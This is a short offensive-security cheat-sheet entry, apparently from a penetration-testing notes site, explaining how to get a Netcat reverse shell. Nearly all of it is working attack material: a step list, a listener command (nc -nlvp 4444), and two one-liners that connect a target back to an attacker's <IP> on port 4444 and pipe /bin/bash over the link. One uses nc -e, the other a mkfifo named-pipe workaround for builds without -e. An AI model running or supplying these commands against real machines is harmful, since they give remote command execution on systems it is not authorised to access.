Netcat Reverse Shell
exploitationlinuxtool
Summary
Call back to a Netcat listener with /bin/bash; use the mkfifo variant when the installed nc lacks the -e option.
Walkthrough
Get a reverse shell back to your listener using Netcat.
Steps
- If the target's
ncsupports-e, connect back and pipe/bin/bashdirectly. - When
-eis unavailable (common on hardened builds), use themkfifonamed-pipe trick to wire stdin/stdout through bash. - Start
nc -nlvp 4444on Kali first to catch the connection.
Commands
bash
nc <IP> 4444 -e /bin/bash
bash
mkfifo /tmp/f; nc <IP> 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1; rm /tmp/f